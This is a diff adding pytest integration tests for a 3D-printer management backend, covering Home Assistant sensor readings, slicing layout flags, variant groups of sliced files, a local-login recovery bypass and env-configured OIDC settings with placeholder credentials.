+        assert reading["value"] == 41.2
+        assert reading["alerting"] is True
+        assert reading["unit"] == "°C"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_unpolled_sensor_reports_unreachable_not_missing(self, async_client: AsyncClient, printer_factory):
+        """Right after a restart the card should still list the sensor, greyed
+        out — not drop it and reflow the layout."""
+        printer = await printer_factory()
+        await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+
+        response = await async_client.get(f"/api/v1/ha-sensors/by-printer/{printer.id}/readings")
+
+        assert len(response.json()) == 1
+        assert response.json()[0]["reachable"] is False
+        assert response.json()[0]["alerting"] is False
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_hidden_sensors_stay_off_the_card(self, async_client: AsyncClient, printer_factory):
+        """An interlock the user does not want cluttering the card still works."""
+        printer = await printer_factory()
+        await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**DOOR, "printer_id": printer.id, "show_on_printer_card": False},
+        )
+
+        response = await async_client.get(f"/api/v1/ha-sensors/by-printer/{printer.id}/readings")
+
+        assert response.json() == []
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_readings_follow_sort_order(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+        await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**TEMP, "printer_id": printer.id, "sort_order": 2},
+        )
+        await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**DOOR, "printer_id": printer.id, "sort_order": 1},
+        )
+
+        response = await async_client.get(f"/api/v1/ha-sensors/by-printer/{printer.id}/readings")
+
+        assert [r["name"] for r in response.json()] == ["Enclosure Door", "Enclosure Temp"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_other_printers_sensors_are_not_listed(self, async_client: AsyncClient, printer_factory):
+        one = await printer_factory()
+        two = await printer_factory(serial_number="OTHER123", name="Second")
+        await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": one.id})
+
+        response = await async_client.get(f"/api/v1/ha-sensors/by-printer/{two.id}/readings")
+
+        assert response.json() == []
+
+
+class TestEntityPicker:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_explains_itself_when_ha_is_not_configured(self, async_client: AsyncClient):
+        response = await async_client.get("/api/v1/ha-sensors/entities")
+
+        assert response.status_code == 400
+        assert "Home Assistant not configured" in response.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_entities_is_not_parsed_as_a_sensor_id(self, async_client: AsyncClient):
+        """Route ordering regression: /entities must not hit /{sensor_id}."""
+        response = await async_client.get("/api/v1/ha-sensors/entities")
+
+        assert response.status_code != 404
+
+
+class TestCascadeAndUniqueness:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_patch_cannot_create_a_duplicate_binding(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+        await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+        second = await async_client.post("/api/v1/ha-sensors/", json={**TEMP, "printer_id": printer.id})
+
+        response = await async_client.patch(
+            f"/api/v1/ha-sensors/{second.json()['id']}",
+            json={"entity_id": DOOR["entity_id"], "kind": "binary"},
+        )
+
+        assert response.status_code == 400
+        assert "already bound" in response.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_patch_to_the_same_entity_is_not_a_clash_with_itself(
+        self, async_client: AsyncClient, printer_factory
+    ):
+        printer = await printer_factory()
+        created = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+
+        response = await async_client.patch(
+            f"/api/v1/ha-sensors/{created.json()['id']}",
+            json={"entity_id": DOOR["entity_id"], "name": "Front Door"},
+        )
+
+        assert response.status_code == 200
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_deleting_a_printer_takes_its_sensors(self, async_client: AsyncClient, printer_factory):
+        """The relationship cascades, so no orphan row is left holding a
+        printer_id that no longer resolves."""
+        printer = await printer_factory()
+        await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+
+        deleted = await async_client.delete(f"/api/v1/printers/{printer.id}")
+
+        assert deleted.status_code == 200
+        listed = await async_client.get("/api/v1/ha-sensors/")
+        assert listed.json() == []
+
+
+class TestSaveSurvivesHomeAssistant:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_create_succeeds_even_if_the_first_read_blows_up(self, async_client: AsyncClient, printer_factory):
+        """The row is committed before the read. Reporting a failure for work
+        that succeeded would send the user into a retry that 400s on the
+        duplicate they just created."""
+        printer = await printer_factory()
+
+        with patch.object(ha_sensor_manager, "refresh_one", AsyncMock(side_effect=RuntimeError("HA said no"))):
+            response = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+
+        assert response.status_code == 200
+        listed = await async_client.get(f"/api/v1/ha-sensors/?printer_id={printer.id}")
+        assert len(listed.json()) == 1

+ 354 - 0
backend/tests/integration/test_library_slice_api.py

@@ -334,6 +334,82 @@ class TestSliceLibraryFile:
             "bed_type must stay out of the process JSON when no override is set"
             "bed_type must stay out of the process JSON when no override is set"
         )
         )
 
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_auto_orient_and_arrange_reach_the_sidecar(self, async_client: AsyncClient, slice_test_setup):
+        """#2548: the two layout passes are per-slice options, so ticking
+        them in the SliceModal has to come out the other end as the
+        sidecar's ``orient`` / ``arrange`` form fields. Before this the
+        flags existed on the wire but only #1493's cross-class detector
+        could set arrange, and nothing at all could set orient."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = bytes(request.content)
+            return httpx.Response(
+                status_code=200,
+                content=_make_3mf_with_settings(),
+                headers={
+                    "x-print-time-seconds": "10",
+                    "x-filament-used-g": "0.1",
+                    "x-filament-used-mm": "1.0",
+                },
+            )
+
+        _install_mock_sidecar(handler)
+        response = await async_client.post(
+            f"/api/v1/library/files/{slice_test_setup['src_file_id']}/slice",
+            json={
+                "printer_preset_id": slice_test_setup["printer_id"],
+                "process_preset_id": slice_test_setup["process_id"],
+                "filament_preset_id": slice_test_setup["filament_id"],
+                "auto_orient": True,
+                "auto_arrange": True,
+            },
+        )
+        assert response.status_code == 202
+        final = await _wait_for_job(async_client, response.json()["job_id"])
+        assert final["status"] == "completed", final
+
+        assert b'name="orient"' in captured["body"]
+        assert b'name="arrange"' in captured["body"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_layout_flags_absent_by_default(self, async_client: AsyncClient, slice_test_setup):
+        """Companion to the above. Both default to off, and off is expressed
+        by omitting the field — the sidecar reads any present value as
+        truthy, so a "false" on the wire would auto-arrange every slice."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = bytes(request.content)
+            return httpx.Response(
+                status_code=200,
+                content=_make_3mf_with_settings(),
+                headers={
+                    "x-print-time-seconds": "10",
+                    "x-filament-used-g": "0.1",
+                    "x-filament-used-mm": "1.0",
+                },
+            )
+
+        _install_mock_sidecar(handler)
+        response = await async_client.post(
+            f"/api/v1/library/files/{slice_test_setup['src_file_id']}/slice",
+            json={
+                "printer_preset_id": slice_test_setup["printer_id"],
+                "process_preset_id": slice_test_setup["process_id"],
+                "filament_preset_id": slice_test_setup["filament_id"],
+            },
+        )
+        assert response.status_code == 202
+        final = await _wait_for_job(async_client, response.json()["job_id"])
+        assert final["status"] == "completed", final
+
+        assert b'name="orient"' not in captured["body"]
+        assert b'name="arrange"' not in captured["body"]
+
     @pytest.mark.asyncio
     @pytest.mark.asyncio
     @pytest.mark.integration
     @pytest.mark.integration
     async def test_invalid_preset_id_surfaces_as_failed_job_with_status_400(
     async def test_invalid_preset_id_surfaces_as_failed_job_with_status_400(
@@ -864,6 +940,284 @@ class TestCrossClassSliceAllLoop:
         assert new_archive.print_time_seconds == 600 * 3
         assert new_archive.print_time_seconds == 600 * 3
         assert new_archive.filament_used_grams == pytest.approx(5.0 * 3)
         assert new_archive.filament_used_grams == pytest.approx(5.0 * 3)
 
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_user_requested_arrange_also_loops_per_plate(
+        self, async_client: AsyncClient, db_session, slice_test_setup, printer_factory, archive_factory, monkeypatch
+    ):
+        """#2548 inherits #1493's hazard. The per-plate loop exists because
+        ``--arrange`` is project-wide: a single ``--slice 0 --arrange 1``
+        collapses every plate's objects onto one bed. That is a property of
+        the flag, not of the cross-class detour that first needed it — so a
+        user ticking auto-arrange over "all plates" on a SAME-class source
+        must take the same loop. Keying the loop on the cross-class decision
+        alone would send one call and silently return a one-plate result.
+        """
+        from backend.app.models.archive import PrintArchive
+
+        tmp_path = slice_test_setup["tmp_path"]
+        monkeypatch.setattr(app_settings, "archive_dir", tmp_path / "archive")
+
+        src_dir = tmp_path / "archives" / "src_same_class"
+        src_dir.mkdir(parents=True, exist_ok=True)
+        src_3mf = src_dir / "tray.3mf"
+        src_3mf.write_bytes(self._make_multi_plate_x1c_source(plate_count=2))
+        printer = await printer_factory()
+        source = await archive_factory(
+            printer.id,
+            filename="tray.3mf",
+            file_path=str(src_3mf.relative_to(tmp_path)),
+            sliced_for_model="X1C",
+            with_run=False,
+        )
+
+        # X1C target: same nozzle class as the X1C source, so #1493's
+        # detector stays off and only the user's flag is in play.
+        x1c = LocalPreset(
+            name="# Bambu Lab X1 Carbon 0.4 nozzle",
+            preset_type="printer",
+            source="orcaslicer",
+            setting=json.dumps({"name": "Bambu Lab X1 Carbon 0.4 nozzle", "printer_model": "Bambu Lab X1 Carbon"}),
+        )
+        db_session.add(x1c)
+        await db_session.commit()
+        await db_session.refresh(x1c)
+
+        captured_requests: list[dict] = []
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            if not _is_slice_post(request):
+                return httpx.Response(404)
+            body = request.content
+            plate = None
+            marker = b'name="plate"\r\n\r\n'
+            idx = body.find(marker)
+            if idx != -1:
+                start = idx + len(marker)
+                end = body.find(b"\r\n", start)
+                try:
+                    plate = int(body[start:end].decode("utf-8"))
+                except (UnicodeDecodeError, ValueError):
+                    plate = None
+            captured_requests.append(
+                {
+                    "plate": plate,
+                    "arrange": b'name="arrange"' in body,
+                    "orient": b'name="orient"' in body,
+                }
+            )
+            return httpx.Response(
+                status_code=200,
+                content=self._make_single_plate_sliced_output(plate or 1),
+                headers={
+                    "x-print-time-seconds": "300",
+                    "x-filament-used-g": "2.0",
+                    "x-filament-used-mm": "800.0",
+                },
+            )
+
+        _install_mock_sidecar(handler)
+
+        resp = await async_client.post(
+            f"/api/v1/archives/{source.id}/slice",
+            json={
+                "printer_preset": {"source": "local", "id": str(x1c.id)},
+                "process_preset": {"source": "local", "id": str(slice_test_setup["process_id"])},
+                "filament_presets": [{"source": "local", "id": str(slice_test_setup["filament_id"])}],
+                "plate": 0,
+                "auto_arrange": True,
+                "auto_orient": True,
+            },
+        )
+        assert resp.status_code == 202, resp.text
+        final = await _wait_for_job(async_client, resp.json()["job_id"], timeout=15.0)
+        assert final["status"] == "completed", final
+
+        assert [c["plate"] for c in captured_requests] == [1, 2]
+        assert all(c["arrange"] for c in captured_requests)
+        # Orient rides along on every sub-slice too — it is per-object, so
+        # dropping it on the loop path would quietly ignore the user's tick.
+        assert all(c["orient"] for c in captured_requests)
+
+        new_archive = await db_session.get(PrintArchive, final["result"]["archive_id"])
+        with zipfile.ZipFile(tmp_path / new_archive.file_path, "r") as zf:
+            entries = set(zf.namelist())
+        assert "Metadata/plate_1.gcode" in entries
+        assert "Metadata/plate_2.gcode" in entries
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_embedded_settings_slice_all_with_arrange_still_loops(
+        self, async_client: AsyncClient, db_session, slice_test_setup, printer_factory, archive_factory, monkeypatch
+    ):
+        """ "Slice as designed" must not skip the loop. The project-wide
+        collapse comes from ``--arrange``; where the print config came from
+        has no bearing on it. Taking the single-call embedded branch here
+        would return one consolidated plate for a job the user asked to
+        slice as N — and the per-plate calls must still omit the profile
+        triplet, or "as designed" would silently stop meaning that.
+        """
+        from backend.app.models.archive import PrintArchive
+
+        tmp_path = slice_test_setup["tmp_path"]
+        monkeypatch.setattr(app_settings, "archive_dir", tmp_path / "archive")
+
+        src_dir = tmp_path / "archives" / "src_embedded"
+        src_dir.mkdir(parents=True, exist_ok=True)
+        src_3mf = src_dir / "kit.3mf"
+        src_3mf.write_bytes(self._make_multi_plate_x1c_source(plate_count=2))
+        printer = await printer_factory()
+        source = await archive_factory(
+            printer.id,
+            filename="kit.3mf",
+            file_path=str(src_3mf.relative_to(tmp_path)),
+            sliced_for_model="X1C",
+            with_run=False,
+        )
+
+        x1c = LocalPreset(
+            name="# Bambu Lab X1 Carbon 0.4 nozzle",
+            preset_type="printer",
+            source="orcaslicer",
+            setting=json.dumps({"name": "Bambu Lab X1 Carbon 0.4 nozzle", "printer_model": "Bambu Lab X1 Carbon"}),
+        )
+        db_session.add(x1c)
+        await db_session.commit()
+        await db_session.refresh(x1c)
+
+        captured_requests: list[dict] = []
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            if not _is_slice_post(request):
+                return httpx.Response(404)
+            body = request.content
+            plate = None
+            marker = b'name="plate"\r\n\r\n'
+            idx = body.find(marker)
+            if idx != -1:
+                start = idx + len(marker)
+                end = body.find(b"\r\n", start)
+                try:
+                    plate = int(body[start:end].decode("utf-8"))
+                except (UnicodeDecodeError, ValueError):
+                    plate = None
+            captured_requests.append(
+                {
+                    "plate": plate,
+                    "arrange": b'name="arrange"' in body,
+                    "has_profiles": b'name="printerProfile"' in body,
+                }
+            )
+            return httpx.Response(
+                status_code=200,
+                content=self._make_single_plate_sliced_output(plate or 1),
+                headers={
+                    "x-print-time-seconds": "300",
+                    "x-filament-used-g": "2.0",
+                    "x-filament-used-mm": "800.0",
+                },
+            )
+
+        _install_mock_sidecar(handler)
+
+        resp = await async_client.post(
+            f"/api/v1/archives/{source.id}/slice",
+            json={
+                "printer_preset": {"source": "local", "id": str(x1c.id)},
+                "process_preset": {"source": "local", "id": str(slice_test_setup["process_id"])},
+                "filament_presets": [{"source": "local", "id": str(slice_test_setup["filament_id"])}],
+                "plate": 0,
+                "use_embedded_settings": True,
+                "auto_arrange": True,
+            },
+        )
+        assert resp.status_code == 202, resp.text
+        final = await _wait_for_job(async_client, resp.json()["job_id"], timeout=15.0)
+        assert final["status"] == "completed", final
+
+        assert [c["plate"] for c in captured_requests] == [1, 2]
+        assert all(c["arrange"] for c in captured_requests)
+        # No --load-settings on any sub-call: the file's own settings drive
+        # each plate, which is what "slice as designed" promises.
+        assert not any(c["has_profiles"] for c in captured_requests)
+        assert final["result"]["used_embedded_settings"] is True
+
+        new_archive = await db_session.get(PrintArchive, final["result"]["archive_id"])
+        with zipfile.ZipFile(tmp_path / new_archive.file_path, "r") as zf:
+            entries = set(zf.namelist())
+        assert "Metadata/plate_1.gcode" in entries
+        assert "Metadata/plate_2.gcode" in entries
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_cross_class_arrange_survives_user_leaving_the_box_unticked(
+        self, async_client: AsyncClient, db_session, slice_test_setup, printer_factory, archive_factory, monkeypatch
+    ):
+        """The user's per-slice choice is a union with #1493's decision, not
+        a replacement for it. Arrange is what keeps a class-crossing slice
+        from landing in the target's dead zone or segfaulting ZFiller — so
+        the default-false ``auto_arrange`` must not be able to turn it off.
+        """
+        tmp_path = slice_test_setup["tmp_path"]
+        monkeypatch.setattr(app_settings, "archive_dir", tmp_path / "archive")
+
+        src_dir = tmp_path / "archives" / "src_cross_single"
+        src_dir.mkdir(parents=True, exist_ok=True)
+        src_3mf = src_dir / "clip.3mf"
+        src_3mf.write_bytes(self._make_multi_plate_x1c_source(plate_count=1))
+        printer = await printer_factory()
+        source = await archive_factory(
+            printer.id,
+            filename="clip.3mf",
+            file_path=str(src_3mf.relative_to(tmp_path)),
+            sliced_for_model="X1C",
+            with_run=False,
+        )
+
+        h2d = LocalPreset(
+            name="# Bambu Lab H2D 0.4 nozzle",
+            preset_type="printer",
+            source="orcaslicer",
+            setting=json.dumps({"name": "Bambu Lab H2D 0.4 nozzle", "printer_model": "Bambu Lab H2D"}),
+        )
+        db_session.add(h2d)
+        await db_session.commit()
+        await db_session.refresh(h2d)
+
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            if not _is_slice_post(request):
+                return httpx.Response(404)
+            captured["body"] = bytes(request.content)
+            return httpx.Response(
+                status_code=200,
+                content=self._make_single_plate_sliced_output(1),
+                headers={
+                    "x-print-time-seconds": "300",
+                    "x-filament-used-g": "2.0",
+                    "x-filament-used-mm": "800.0",
+                },
+            )
+
+        _install_mock_sidecar(handler)
+
+        resp = await async_client.post(
+            f"/api/v1/archives/{source.id}/slice",
+            json={
+                "printer_preset": {"source": "local", "id": str(h2d.id)},
+                "process_preset": {"source": "local", "id": str(slice_test_setup["process_id"])},
+                "filament_presets": [{"source": "local", "id": str(slice_test_setup["filament_id"])}],
+                "plate": 1,
+                "auto_arrange": False,
+            },
+        )
+        assert resp.status_code == 202, resp.text
+        final = await _wait_for_job(async_client, resp.json()["job_id"], timeout=15.0)
+        assert final["status"] == "completed", final
+
+        assert b'name="arrange"' in captured["body"], "cross-class arrange must survive an explicit auto_arrange=false"
+
 
 
 class TestSliceArchiveResliceModel:
 class TestSliceArchiveResliceModel:
     """Re-slicing an archive for a different printer must stamp the new
     """Re-slicing an archive for a different printer must stamp the new

+ 246 - 0
backend/tests/integration/test_library_variants_api.py

@@ -0,0 +1,246 @@
+"""Integration tests for variant groups (#671 / #2570).
+
+A variant group is the user declaring that several sliced files are the same
+job for different printers. The endpoints exist to enforce what that statement
+has to mean before the scheduler acts on it without a human in the loop.
+"""
+
+import pytest
+from httpx import AsyncClient
+
+
+@pytest.fixture
+async def sliced_file_factory(db_session):
+    """Create a sliced library file declaring the model it was sliced for."""
+    _counter = [0]
+
+    async def _create(model: str | None = "H2S", **kwargs):
+        from backend.app.models.library import LibraryFile
+
+        _counter[0] += 1
+        defaults = {
+            "filename": f"job_{_counter[0]}.gcode.3mf",
+            "file_path": f"/test/job_{_counter[0]}.gcode.3mf",
+            "file_size": 100,
+            "file_type": "gcode.3mf",
+            "file_metadata": {"sliced_for_model": model} if model else {},
+        }
+        defaults.update(kwargs)
+        f = LibraryFile(**defaults)
+        db_session.add(f)
+        await db_session.commit()
+        await db_session.refresh(f)
+        return f
+
+    return _create
+
+
+async def _create_group(client: AsyncClient, *file_ids: int, name: str | None = None):
+    payload = {"members": [{"library_file_id": fid} for fid in file_ids]}
+    if name:
+        payload["name"] = name
+    return await client.post("/api/v1/library/variant-groups", json=payload)
+
+
+class TestCreateVariantGroup:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_groups_two_slices_in_priority_order(self, async_client, sliced_file_factory):
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _create_group(async_client, h2s.id, h2c.id, name="bracket")
+        assert r.status_code == 201
+        body = r.json()
+        assert body["name"] == "bracket"
+        assert [m["target_model"] for m in body["members"]] == ["H2S", "H2C"]
+        assert [m["position"] for m in body["members"]] == [0, 1]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_model_is_read_from_the_file_not_the_caller(self, async_client, sliced_file_factory):
+        """The group never carries its own model data, so it cannot disagree with
+        the 3MFs. "Bambu Lab H2S" normalizes to the same H2S the scheduler matches."""
+        a = await sliced_file_factory("Bambu Lab H2S")
+        b = await sliced_file_factory("O1C")  # internal code for H2C
+
+        body = (await _create_group(async_client, a.id, b.id)).json()
+        assert [m["target_model"] for m in body["members"]] == ["H2S", "H2C"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_two_slices_for_the_same_printer_are_rejected(self, async_client, sliced_file_factory):
+        """Not alternatives — the resolver would have no basis to prefer one, and
+        the arbitrary pick would look like a bug the first time it chose wrong."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2S")
+
+        r = await _create_group(async_client, a.id, b.id)
+        assert r.status_code == 400
+        assert "different printers" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_normalization_catches_the_same_printer_spelled_differently(self, async_client, sliced_file_factory):
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("Bambu Lab H2S")
+
+        r = await _create_group(async_client, a.id, b.id)
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_unsliced_file_cannot_be_a_variant(self, async_client, sliced_file_factory):
+        """A source .3mf has no G-code — it can never be dispatched to anything."""
+        sliced = await sliced_file_factory("H2S")
+        source = await sliced_file_factory(None, filename="model.3mf", file_type="3mf")
+
+        r = await _create_group(async_client, sliced.id, source.id)
+        assert r.status_code == 400
+        assert "not a sliced file" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_file_without_a_model_must_name_one(self, async_client, sliced_file_factory):
+        """Legacy 3MFs declare no model. Rather than guess, make the user say."""
+        known = await sliced_file_factory("H2S")
+        legacy = await sliced_file_factory(None)
+
+        r = await _create_group(async_client, known.id, legacy.id)
+        assert r.status_code == 400
+        assert "does not say which printer" in r.json()["detail"]
+
+        r = await async_client.post(
+            "/api/v1/library/variant-groups",
+            json={
+                "members": [
+                    {"library_file_id": known.id},
+                    {"library_file_id": legacy.id, "target_model": "H2C"},
+                ]
+            },
+        )
+        assert r.status_code == 201
+        assert [m["target_model"] for m in r.json()["members"]] == ["H2S", "H2C"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_a_file_belongs_to_one_group_only(self, async_client, sliced_file_factory):
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        c = await sliced_file_factory("H2D")
+        assert (await _create_group(async_client, a.id, b.id)).status_code == 201
+
+        r = await _create_group(async_client, a.id, c.id)
+        assert r.status_code == 409
+        assert "already belongs" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_single_member_is_rejected_by_the_schema(self, async_client, sliced_file_factory):
+        only = await sliced_file_factory("H2S")
+        r = await _create_group(async_client, only.id)
+        assert r.status_code == 422, "a group of one expresses no choice"
+
+
+class TestVariantGroupMembership:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_version_to_an_existing_group(self, async_client, sliced_file_factory):
+        """The common real case: the H2S version was queued last week, the H2C
+        version was sliced today."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        c = await sliced_file_factory("H2D")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.post(f"/api/v1/library/variant-groups/{gid}/members", json={"library_file_id": c.id})
+        assert r.status_code == 200
+        assert [m["target_model"] for m in r.json()["members"]] == ["H2S", "H2C", "H2D"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_added_member_cannot_duplicate_a_model(self, async_client, sliced_file_factory):
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        dupe = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.post(f"/api/v1/library/variant-groups/{gid}/members", json={"library_file_id": dupe.id})
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_removing_down_to_one_dissolves_the_group(self, async_client, sliced_file_factory):
+        """A leftover one-member group would look like a choice and behave like an
+        ordinary job — worse than no group at all."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.delete(f"/api/v1/library/variant-groups/{gid}/members/{b.id}")
+        assert r.status_code == 204
+        assert (await async_client.get(f"/api/v1/library/variant-groups/{gid}")).status_code == 404
+        # ...and the survivor is still a perfectly good file.
+        assert (await async_client.get(f"/api/v1/library/variant-groups/by-file/{a.id}")).status_code == 404
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_removing_from_a_three_member_group_keeps_it(self, async_client, sliced_file_factory):
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        c = await sliced_file_factory("H2D")
+        gid = (await _create_group(async_client, a.id, b.id, c.id)).json()["id"]
+
+        assert (await async_client.delete(f"/api/v1/library/variant-groups/{gid}/members/{c.id}")).status_code == 204
+        body = (await async_client.get(f"/api/v1/library/variant-groups/{gid}")).json()
+        assert [m["library_file_id"] for m in body["members"]] == [a.id, b.id]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_deleting_a_group_keeps_the_files(self, async_client, sliced_file_factory):
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        assert (await async_client.delete(f"/api/v1/library/variant-groups/{gid}")).status_code == 204
+        for f in (a, b):
+            assert (await async_client.get(f"/api/v1/library/files/{f.id}")).status_code == 200
+
+
+class TestVariantGroupOrdering:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_reorder_changes_priority(self, async_client, sliced_file_factory):
+        """Order is the user saying which printer they would rather have when both
+        are free, so it has to be editable."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.patch(f"/api/v1/library/variant-groups/{gid}", json={"member_file_ids": [b.id, a.id]})
+        assert r.status_code == 200
+        assert [m["target_model"] for m in r.json()["members"]] == ["H2C", "H2S"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_partial_reorder_is_rejected(self, async_client, sliced_file_factory):
+        """Listing a subset would leave the rest in an order nobody chose."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.patch(f"/api/v1/library/variant-groups/{gid}", json={"member_file_ids": [a.id]})
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_lookup_by_file(self, async_client, sliced_file_factory):
+        """Both consumers start from a file: the print modal knows what was
+        clicked, the queue flow knows what was selected."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.get(f"/api/v1/library/variant-groups/by-file/{b.id}")
+        assert r.status_code == 200
+        assert r.json()["id"] == gid

+ 29 - 0
backend/tests/integration/test_local_login_gate.py

@@ -96,6 +96,35 @@ class TestLocalLoginGate:
         )
         )
         assert response.status_code == 200, response.text
         assert response.status_code == 200, response.text
 
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_unrecognized_env_value_does_not_500_the_login_path(
+        self, async_client: AsyncClient, db_session: AsyncSession, monkeypatch: pytest.MonkeyPatch
+    ):
+        """The recovery bypass reads BAMBUDDY_LOCAL_LOGIN on the request path, so
+        an unrecognized value (BAMBUDDY_LOCAL_LOGIN=on) must fall back to "off",
+        never raise -- env_bool is strict for the startup OIDC reader but lenient
+        here. A raise would 500 the very endpoint the bypass exists to keep open."""
+        await _enable_auth(async_client, "gateonval")
+        await _set_setting(db_session, "local_login_enabled", "false")
+        monkeypatch.setenv("BAMBUDDY_LOCAL_LOGIN", "on")
+
+        response = await async_client.post(
+            "/api/v1/auth/login",
+            json={"username": "gateonval", "password": "GatePass1!"},
+        )
+        # Bypass stays off (same 401 as no env var), and crucially not a 500.
+        assert response.status_code == 401, response.text
+
+    def test_the_bypass_var_is_registered_in_the_typo_guard(self):
+        """config.py logs "possible typo" for any unregistered BAMBUDDY_* var.
+        Unregistered, this one tells an operator who is locked out and following
+        the documented recovery that the variable they just set is not real --
+        while the same line lists every BAMBUDDY_OIDC_* var as legitimate."""
+        from backend.app.core.config import _INTENTIONAL_UNSETTINGS
+
+        assert "BAMBUDDY_LOCAL_LOGIN" in _INTENTIONAL_UNSETTINGS
+
     @pytest.mark.asyncio
     @pytest.mark.asyncio
     @pytest.mark.integration
     @pytest.mark.integration
     async def test_forgot_password_rejected_when_local_disabled(
     async def test_forgot_password_rejected_when_local_disabled(

+ 801 - 0
backend/tests/integration/test_oidc_env_apply.py

@@ -0,0 +1,801 @@
+"""Upserting the env-managed OIDC provider (#2593).
+
+Startup applies BAMBUDDY_OIDC_* to the database. The row is updated in place,
+never delete-recreated: user_oidc_links.provider_id is FK ON DELETE CASCADE, so
+recreating the provider would silently unlink every account bound to it.
+"""
+
+from __future__ import annotations
+
+import logging
+import os
+
+import pytest
+from sqlalchemy import select
+
+from backend.app.core.oidc_env import apply_env_oidc_provider
+from backend.app.models.oidc_provider import OIDCProvider
+
+REQUIRED = {
+    "BAMBUDDY_OIDC_NAME": "Keycloak",
+    "BAMBUDDY_OIDC_ISSUER_URL": "https://sso.example.com/realms/main",
+    "BAMBUDDY_OIDC_CLIENT_ID": "bambuddy",
+    "BAMBUDDY_OIDC_CLIENT_SECRET": "s3cr3t",
+}
+
+ALL_VARS = (
+    *REQUIRED,
+    "BAMBUDDY_OIDC_SCOPES",
+    "BAMBUDDY_OIDC_ENABLED",
+    "BAMBUDDY_OIDC_AUTO_CREATE_USERS",
+    "BAMBUDDY_OIDC_AUTO_LINK_EXISTING",
+    "BAMBUDDY_OIDC_EMAIL_CLAIM",
+    "BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED",
+    "BAMBUDDY_OIDC_ICON_URL",
+    "BAMBUDDY_OIDC_AUTOLOGIN",
+    "BAMBUDDY_OIDC_DEFAULT_GROUP",
+)
+
+
